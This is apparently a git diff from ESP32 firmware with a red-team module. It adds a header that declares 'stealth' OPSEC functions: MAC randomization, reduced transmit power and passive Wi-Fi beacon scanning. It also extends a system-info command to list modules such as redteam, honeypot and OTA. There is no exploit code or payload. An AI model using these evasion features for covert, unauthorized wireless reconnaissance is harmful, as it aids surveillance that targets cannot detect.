@ -0,0 +1,54 @@
|
||||
/*
|
||||
* rt_stealth.h
|
||||
* OPSEC: MAC randomization, TX power control, passive scanning.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Save the current STA MAC as original (call once at module init). */
|
||||
void rt_stealth_save_original_mac(void);
|
||||
|
||||
/* Randomize the STA MAC (locally-administered unicast). */
|
||||
void rt_stealth_randomize_mac(void);
|
||||
|
||||
/* Restore the original MAC. */
|
||||
void rt_stealth_restore_mac(void);
|
||||
|
||||
/* Get current STA MAC. */
|
||||
void rt_stealth_get_current_mac(uint8_t mac[6]);
|
||||
|
||||
/* Reduce TX power to stealth level (~8 dBm). */
|
||||
void rt_stealth_low_tx_power(void);
|
||||
|
||||
/* Restore TX power to default (20 dBm). */
|
||||
void rt_stealth_restore_tx_power(void);
|
||||
|
||||
/* Passive scan: channel-hop in promiscuous mode, collect beacons.
|
||||
* Results stored internally, retrieve with rt_stealth_get_scan_results.
|
||||
* duration_ms: total scan time (e.g. 3000 for 3s).
|
||||
* Returns number of unique APs found. */
|
||||
int rt_stealth_passive_scan(int duration_ms);
|
||||
|
||||
/* AP info collected during passive scan */
|
||||
typedef struct {
|
||||
uint8_t bssid[6];
|
||||
char ssid[33];
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */
|
||||
} rt_scan_ap_t;
|
||||
|
||||
#define RT_MAX_SCAN_APS 32
|
||||
|
||||
/* Get passive scan results. Returns count. */
|
||||
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@ -2,5 +2,5 @@ idf_component_register(
|
||||
SRCS
|
||||
cmd_system.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core command esp_timer nvs_flash spi_flash
|
||||
REQUIRES core esp_timer nvs_flash spi_flash
|
||||
)
|
||||
|
||||
@ -15,7 +15,6 @@
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "SYSTEM"
|
||||
@ -149,6 +148,26 @@ static int cmd_system_info(
|
||||
first = 0;
|
||||
#endif
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%shoneypot", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_CANBUS
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%scanbus", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%sfallback", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%sredteam", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_ESPILON_OTA_ENABLED
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%sota", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
|
||||
if (first) {
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "none");
|
||||
@ -162,10 +181,10 @@ static int cmd_system_info(
|
||||
* COMMAND REGISTRATION
|
||||
* ============================================================ */
|
||||
static const command_t system_cmds[] = {
|
||||
{ "system_reboot", 0, 0, cmd_system_reboot, NULL, false },
|
||||
{ "system_mem", 0, 0, cmd_system_mem, NULL, false },
|
||||
{ "system_uptime", 0, 0, cmd_system_uptime, NULL, false },
|
||||
{ "system_info", 0, 0, cmd_system_info, NULL, false }
|
||||
{ "system_reboot", NULL, NULL, 0, 0, cmd_system_reboot, NULL, false },
|
||||
{ "system_mem", NULL, NULL, 0, 0, cmd_system_mem, NULL, false },
|
||||
{ "system_uptime", NULL, NULL, 0, 0, cmd_system_uptime, NULL, false },
|
||||
{ "system_info", NULL, NULL, 0, 0, cmd_system_info, NULL, false }
|
||||
};
|
||||
|
||||
void mod_system_register_commands(void)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user